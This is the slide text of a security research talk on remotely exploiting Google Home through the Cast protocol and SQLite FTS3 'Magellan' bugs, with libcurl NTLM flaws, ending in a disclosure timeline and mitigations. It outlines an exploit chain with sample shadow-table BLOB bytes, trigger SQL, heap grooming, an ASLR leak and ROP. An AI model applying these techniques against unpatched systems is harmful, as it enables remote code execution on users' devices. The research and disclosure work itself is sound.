Breaking Google Home: Exploit It with SQLite(Magellan)

Wenxiang Qian, Yuxiang Li, Huiyu Wu
Tencent Blade Team
About Us

Wenxiang Qian (@leonwxqian)
Senior security researcher at Tencent Blade Team. Focus on browser security & IoT security
Interested in code auditing. Security book author. Speaker of DEF CON 26, CSS 2019

YuXiang Li (@Xbalien29)
Senior security researcher at Tencent Blade Team. Focus on mobile security and IoT security
Reported multiple vulnerabilities of Android. Speaker of HITB AMS 2018, XCON 2018, CSS 2019

HuiYu Wu (@NickyWu_)
Senior security researcher at Tencent Blade Team
Bug hunter, Winner of GeekPwn 2015. Speaker of DEF CON 26, HITB 2018 AMS and POC 2017
About Tencent Blade Team

• Founded by Tencent Security Platform Department in 2017

• Focus on security research in the areas of AIoT, Mobile devices, Cloud virtualization, Blockchain, etc

• Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon

• We talked about how to break Amazon Echo at DEF CON 26

• Blog: https://blade.tencent.com
Agenda

• The Security Overview of Google Home

• Fuzzing and Manual Auditing SQLite & Curl

• Remote Exploiting Google Home with Magellan

• Conclusion
The Security Overview of Google Home
Aug 2018 DEFCON26
“Breaking Smart Speaker: We are Listening to You”
Amazon Echo - Remote Code Execution
XiaoMi AI Speaker – Remote full Control (root)

About Google Home
Hardware Overview

- Google Home family uses similar hardware (except Google Home Hub)
- Did not find the hardware interface for debugging and flashing
- We started to extract firmware directly from NAND Flash chip
Dump Firmware From NAND Flash
Dump Firmware From NAND Flash

BGA67 ADAPTER PCB
Dump Firmware From NAND Flash

RT809H Universal Programmer
Data Extraction From Raw NAND Flash Image

```c
int nNumRead = 0;

int nFileSize = 276526064 + 1;
unsigned char* pBuf = new unsigned char[nFileSize];
unsigned char* pPos = pBuf;
fin.read((char*)pBuf, sizeof(char) * nFileSize);

int nNumWrite = 0;

fout.write((char*)pPos, sizeof(char) * 0x800); // first chunk: 0x800
log(0x800, 1, true);

bool valid = true;
for (int i = 0x800, j = 0;
     i < nFileSize - 0x800;
     i += (j > 0 ? 0x840 : 0), j++)
{
    valid = (pPos[i] == 0xff);
    log(i, j, valid);
    if (valid)
    {
        fout.write((const char*)pPos + i + 0x40, sizeof(char) * 0x800);
    }
    else
    {
        fout.write((const char*)pPos + i, sizeof(char) * 0x840);
    }
}
```
System Overview

• Built-in Lite Chrome OS system (Like Chromecast)

• The main functions are implemented by Chrome Browser (cast_shell)

• The system update time of Google Home will be slower than that of Chrome browser for about a month
The Security Overview of Google Home

- "Bad or Good" OTA Mechanism
  - Part of source code is available for download
  - Download OTA firmware via HTTP request
  - It's easy to simulate an upgrade request (TLS)

---

https://drive.google.com/open?id=0B3j4zj2IQP7MZkplRzRvcERtaU0
The Security Overview of Google Home

- Secure Boot (worth learning)
  - Bootloader verify (SHA256 + RSA)
  - Looks like there is no unlock (boot.img)
  - Enable Dm-verity to verify integrity (system.img)

```c
/* Verify image header */
ret = bootimg_hdr_verify(k_buff_img, boot_src);
if (ret) {
  lgpl_printf("ERROR: Boot image verify header failed!ret=0x%lx", ret);
  return -1;
}
ret = bcm_image_verify(bcm_img_type, (unsigned) k_buff, (unsigned) k_buff);
if (ret) {
  lgpl_printf("ERROR: Verify k_buff image failed!ret=0x%lx", ret);
  return -1;
}
memcpy(&Mkbootimg_hdr, k_buff, sizeof(Mkbootimg_hdr));
```

/init.rc

```bash
on fs
  # Load device mapper table
  exec /sbin/dmsetup create system --r /dmtb
  # allow SUID for system partition - chrome_sandbox
  mount squashfs /dev/mapper/system /system ro nodev noatime
```

/dmtb

```
0140904 verity1 /dev/block/md9 /dev/block/md9 4096 4096
17613 17613 sha256 31ad2b0ea20bf89056860e790097942b19b0f842a84
a873d3dfe684c4e30678e5e6298c078a63633a57a4e823573b80be1234
acf331fa434f374bf4131ef5b94
```
The Security Mechanism of Cast_shell

- **Sandbox mechanism**
  - Setuid
  - User namespaces
  - Seccomp-BPF

- **Exploitation Mitigation**
  - ASLR
  - NX
  - Stack Canary
The Attack Surface of Google Home

• Network
  ✓ Http Server (8008) - CastHack
  ✓ Cast Protocol (8009): Push a specific web page to the Chrome browser

• Wireless
  ✓ Wi-Fi or BLE Firmware - Researching Marvell Avastar Wi-Fi

• Hardware
  ✓ USB – HubCap (Chromecast Root @fail0verflow)
  ✓ Modify Firmware by Soldering NAND Flash – Bypassing secure boot?
Extending the Attack Surface

• The Overview of CAST Protocol
  • Google Cast is designed for TV, movies, music, and more
  • Developers can develop the CAST APP and publish it to Application Store
  • Including sender (Mobile devices or Chrome) and receiver (Google Home)
Extending the Attack Surface

• Attack Surface of CAST Protocol
  • The CAST apps can be any webpage
  • The apps in the app store may be malicious
  • Sender can directly trigger CAST Protocol

Remote Attack Surface:
Converting an attack on a Google Home into an attack on a browser
Extending the Attack Surface

• Detailed Steps: Extending the Remote Attack Surface
  
  • Register as a developer and post a malicious app
  
  • Remotely trigger Google Home to load malicious app
    ✓ Inducing victims to visit malicious sender URLs via Chrome
    ✓ Sending the cast protocol to launch APP in LAN
  
  • RCE in Google Home's renderer

```javascript
locaton.href = "http://192.168.1.56/exp.html"
```
So now we only need a Chrome RCE vulnerability to exploit Google Home 😂
Fuzzing and Manual Auditing
SQLite & Curl
Why SQLite and Curl?

• 3rd party libraries are always sweet.

• Almost every device had them installed, hadn’t they?

• Google Home or Google Chrome are using them too.
  • WebSQL makes remote attack via SQLite available in Chrome
  • Curl was born to be working remotely
Previous Researches

• Michał Zalewski -- AFL: Finding bugs in SQLite, the easy way

• BH US-17 -- “Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software”
Fuzzing the SQLite

• Nothing interesting, but crashes of triggering asserts
• Accidently noticed Magellan when debugging those crashes
• Raw testcase triggers the crash (beautified):

```sql
CREATE TABLE a01 (v01, v02, PRIMARY KEY (v02, v02))
CREATE VIRTUAL TABLE a02 USING FTS3(v01, v02, PRIMARY KEY(v01, v02)) -- this query is useless
CREATE TABLE a03 (v01, v02)
SELECT * FROM a01 WHERE (a01.v01, a01.v02) IN (SELECT v01, COUNT(1) v02 FROM a03)
```

• What’s those a02_content, a02_segdir, a02_segments?
Shadow Tables

• %_content
  %_segdir
  %_segments
  %_stat
  %_docsize for FTS3/4, % is replaced by table name
• Accessible (read, write, delete) like standard tables
• FTS3/4/5, RTREE use shadow tables to store content
Wait… Is that a Backing-store?

-- Virtual table declaration
CREATE VIRTUAL TABLE x USING fts4(a NUMBER, b TEXT, c);

-- Corresponding %content table declaration
CREATE TABLE %content(docid INTEGER PRIMARY KEY, c0a, c1b, c2c);

CREATE TABLE %segments(
    blockid INTEGER PRIMARY KEY, -- B-tree node id
    block BLOB -- B-tree node data
);

CREATE TABLE %segdir(
    level INTEGER,
    idx INTEGER,
    start_block INTEGER, -- Blockid of first node in %segments
    leaves_end_block INTEGER, -- Blockid of last leaf node in %segments
    end_block INTEGER, -- Blockid of last node in %segments
    root BLOB, -- B-tree root node
    PRIMARY KEY(level, idx)
);

-- Only have %stat or %docsize when it is FTS4, not FTS3
CREATE TABLE %stat(
    id INTEGER PRIMARY KEY,
    value BLOB -- contains a blob consisting of N+1 FTS varints,
                  -- where N is again the number of user-defined columns
                  -- in the FTS table.
);

CREATE TABLE %docsize(
    docid INTEGER PRIMARY KEY,
    size BLOB -- number of tokens in the corresponding column of
               -- the associated row in the FTS table
);
BLOBs

• Representation of binary data:
  \[ x '41414242' = 'AABB' \]

• In shadow tables …
  • They are serialized data structures (BTREEs…)
  • Wrong “deserialization” are often the causes of problems

```
CREATE TABLE `%_segments`(
  blockid INTEGER PRIMARY KEY, -- B-tree node id
  block BLOB, -- B-tree node data
);
```
Nodes (BLOBs) Definitions

- Segment B-Tree Leaf Nodes

```
<table>
<thead>
<tr>
<th>0x00</th>
<th>Length</th>
<th>Term Content</th>
<th>Doclist</th>
<th>Prefix Length</th>
<th>Subfix Length</th>
<th>Subfix Content</th>
<th>Doclist</th>
</tr>
</thead>
<tbody>
<tr>
<td>Term 1</td>
<td>Doclist 1</td>
<td>Term N</td>
<td>Doclist N</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

- Doclist Format

```
Length bytes

Doclist: Length Entry 0...Entry N

Doclist Entry: DocId Offset0...OffsetN...0x00 Column number Offset0...OffsetN 0x00
```

Examples:
- `air`: DocID(01) 0x03 'a' 'i' 'r' 01 03 05 'c' 'r' 'a' 'f' 't'
- `aircraft`: DocID(02) 0x02 02 03 's' 'l' 'e' 03
- `aisle`: DocID(03)
Overview of `Magellan`

- **CVE-2018-20346** `merge` of FTS3 caused memory corruption
- **CVE-2018-20506** `match` of FTS3 caused memory corruption
- **CVE-2018-20505** `merge` of FTS3 caused memory corruption(2)
- SQLite ticket: 1a84668dcfdebaf1
  - Assertion fault due to malformed PRIMARY KEY
- Information and restrictions: [https://blade.tencent.com/magellan/](https://blade.tencent.com/magellan/)
CVE-2018-20346

- In `fts3AppendToNode`
- Trigger it by "merge": `INSERT INTO X(X) VALUES ("merge=1,2")`
- Function tries to append a node to another
- Nodes are parsed from BLOBs
- The `memcpy` in LN310 seems vulnerable.
CVE-2018-20346

- **fts3TruncateNode** get the node being processed
- Node information is returned in **reader** object
- Easily bypass **fts3TermCmp** check by modifying the shadow table
- Control **aDoclist** and **nDoclist** in **reader**, to trigger the problem
  - It is easy.

```c
int fts3AppendToNode(…){
  …
  memcpy(target, aDoclist, nDoclist);
  //--- trigger3
}
```
In `nodeReaderNext`

- **LN114**: `iOff` is a “pointer” to BLOB
- **LN120**: Read compromised data, make `iOff` go beyond the current blob data.
- **LN122**: `nDoclist` is controllable.
- **LN123**: Got an `aDoclist` points to the last char of the blob after `nodeReaderNext` finishes.
- **LN129**: assert won’t stop the `iOff`

Now we’ve controlled `nDoclist` and `aDoclist`!
CVE-2018-20346

- Back to `fts3AppendToNode`
- `aDocList` and `nDoclist` is controlled

`LN310:`
- Heap buffer overflow, if `nDoclist > align(buflen(pNode->a))`
- Raw memory leak (OOB Read), if `nDoclist < align(buflen(pNode->a))`
CVE-2018-20506 & 20505

- 20506: In `fts3ScanInteriorNode`
- 20505: In `fts3SegReaderNext`
- Modify BLOBs in shadow tables to mislead the code flow
- Integer overflow to bypass the check
- Memory corruption or leaking raw memory
- A little hard to exploit because the unstable overwritten position
Auditing the libcurl

• Target: Remote code execution

• Find BIG functions (which often have poor coding practice)
• Protocol that communicates with remote machine (attacker)

• Attack vector: The simpler, the better.
• Protocols fulfill our requirements:
  FTP, HTTPS, **NTLM over HTTP**, SMTP, POP3, …
Overview of `Dias`

- **CVE-2018-16890**  NTLM Type-2 Message Information Leak
  Leaking at most 64KB client memory per request to attacker, “client version Heartbleed”.

- **CVE-2019-3822**  NTLM Type-3 Message Stack Buffer Overflow
  Allow attacker to leak client memory via Type-3 response, or performs remote code execution through stack or heap buffer overflow.

  “This is potentially in the worst case a remote code execution risk. I think this might be the worst security issue found in curl in a long time.” (Daniel’s [blog](#))
CVE-2018-16890

• LN183: Curl_read32_le
  Set target_info_offset with a very large value.
  **Eg: offset=0xffff0001 (-65535) len=0xffffffff (65535)**

• LN185: Integer overflow

• LN196: memcpy copies data OOB (backwards).
  Leaking at most 64KB data per request to attacker.
CVE-2019-3822

- LN519: ntlmbuf is a stack variant.

- LN590: Read ntrspelen from Type-2 response.

- LN779:

  ```
  if(UNSIGNED < (SIGNED - UNSIGNED)) { … } 
  → Inexplicit type cast (from signed to unsigned)
  ```
  ```
  if(UNSIGNED < (UNSIGNED - UNSIGNED)) { … } 
  ```

- LN781: Stack buffer overflow.
CVE-2019-3822

- Lots of stack variables following by `ntlmbuf`
- Stack buffer overflow happens in the middle of the function

Overwrite direction is related to compiler
Remote Exploiting Google Home with Magellan
Exploiting the Magellan on Google Home

• Review the details of CVE-2018-20346

  • Control pNode->a, pNode->n, aDoclist, nDoclist, via "update x_segdir set root=x'HEX"

```c
if( aDoclist ){
  pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nDoclist);
  memcpy(&pNode->a[pNode->n], aDoclist, nDoclist);  //已用时间<=2ms
  pNode->n += nDoclist;
}
```

00 04 31 32 33 34 02 00 00 01 01 01 00 01 01 01 00 80 02 01 01

- pNode->a[]: Heap Fengshui
- pNode->n: Buffer offset
- nDoclist: 256 (Varint)
- aDoclist[]: Overflow or Leak Memory

80 02 aa aa aa aa
Exploiting the Magellan on Google Home

• **Available Function Pointer**
  
  • simple_tokenizer is a structure on the heap
    
    ✓ create virtual table x using fts3 (a, b);
  
  • The tokenizer’s callback looks interesting

```
(simple_tokenizer *) sqlite3_malloc(sizeof(*t));
```

Diagram:

- `simple_tokenizer`:
  - `base`
  - `delim`

- `sqlite3_tokenizer`:
  - `pModule`

- `tokenizer_module`:
  - `iVersion`
  - `xCreate`
  - `xDestroy`
  - `xOpen`
  - `...`

Callback function
Exploiting the Magellan on Google Home

• PC Hijacking
  • Operating FTS3 table after heap overflow
  • Hijacking before memory free

static int fts3TruncateSegment( Fts3Table *p, sqlite3_int64 iAbsLevel, int iIdx, const char *zTerm, int nTerm){
  ......  
  if( rc==SQLITE_OK ){  
    sqlite3_stmt *pChomp = 0;  
    rc = fts3SqlStmt(p, SQL_CHOMP_SEGDIR, &pChomp, 0);  
    if( rc==SQLITE_OK ){  
      ......  
      rc = sqlite3_reset(pChomp);  
      sqlite3_bind_null(pChomp, 2);  
    }  
  }
  sqlite3_free(root.a);  
  sqlite3_free(block.a);  
}

Using the SQL TRIGGER to perform fts3 operations before executing SQL_CHOMP_SEGDIR

CREATE TRIGGER hijack_trigger BEFORE UPDATE  
on x_segdir  
BEGIN  
  INSERT INTO hijack values (1, x'1234');  
END;
Exploiting the Magellan on Google Home

- **Heap Fengshui**
  - tmalloc as the heap management algorithm
  - Memory layout by operating fts3 tables
  - Hijacking PC via SQL TRIGGER

```
Create multiple fts3 tables

Drop the previous fts3 table

Reassigning payload

Triggers the operation of fts3

Calling xOpen via SQL TRIGGER

Hijacking PC

Overwriting the simple_tokenizer

R0 / R11 / PC can be controlled
```
Exploiting the Magellan on Google Home

• Bypass ASLR
  • Try to adjust the \texttt{nDoclist, pNode->a} and leak the memory after heap
  • Leaking the address of cast\texttt{\_shell} (For ROP gadgets)
  • Leaking the address of last heap (For heap spray)
Exploiting the Magellan on Google Home

- Heap Spray
  - Insert into the table
- ROP
  - Cast_shell's gadget

RCE in Google Home's renderer
Exploiting the Magellan on Google Home

- RCE in Google Home's renderer

Running shellcode to modify "navigator.appName" to AAAA
Exploiting the Magellan on Google Home

1. Launch APPID=1
2. Loading Leak.html
3. Launch APPID=2
4. Loading Exp.html

Cast Hack
UPnP forwarding
Visiting Sender URL
Google Cast
APPID=1, Leak.html
APPID=2, Exp.html
Conclusion
Magellan

- **Timeline**
  - 3rd Nov: Reported to SQLite
  - 28th Nov: Fixed in Chromium, Defense In-Depth by SQLite
  - 3rd Dec: Chrome 71.0.3578.80 released
  - 21st Dec: CVEs assigned

<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>1st Nov</td>
<td>Reported to Google</td>
</tr>
<tr>
<td>5th Nov</td>
<td>Fixed by SQLite 3.25.3</td>
</tr>
<tr>
<td>1st Dec</td>
<td>SQLite 3.26.0 w/ Defense In-Depth</td>
</tr>
<tr>
<td>20th Dec</td>
<td>$10337 Reward by Google</td>
</tr>
</tbody>
</table>

- **Enhancements**
  - SQLite introduced defense in-depth flag `SQLITE_DBCONFIG_DEFENSIVE`, disallowing modify shadow tables from untrusted source.
    - `SQLITE_DBCONFIG_DEFENSIVE` (default OFF in sqlite, for backwards compatibility)
    - Good News: default ON in Chrome from commit `a06c5187775536a68f035f16c8b8bc47b9bfad24`
  - Google refactored the structured fuzzer, found many vulnerabilities in SQLite.
Dias

• Timeline

31st Dec
Reported to Curl

2nd Jan
Confirmed by Curl

3rd Jan
1 of 2 vulns fixed

16th Jan
2 of 2 vulns fixed

30th Jan
CVEs assigned

6th Feb
Curl 7.64.0 released

8th Feb
Security page released
Responsible Disclosure

• Notified CNCERT to urge vendors disable the vulnerable FTS3 or WebSQL before the patch comes out (if they don’t use these features).

• Notified security team of Apple, Intel, Facebook, Microsoft, etc. about how to fix the problem or how to mitigate the threats in some of their products.
Security Advice

• Enhance your system with the newest available defense in-depth mechanism in time

• Keep your third-party libraries up-to-date

• Improve the quality of security auditing and testing of third-party library

• Introduce security specifications into development and testing
THANK YOU

https://blade.tencent.com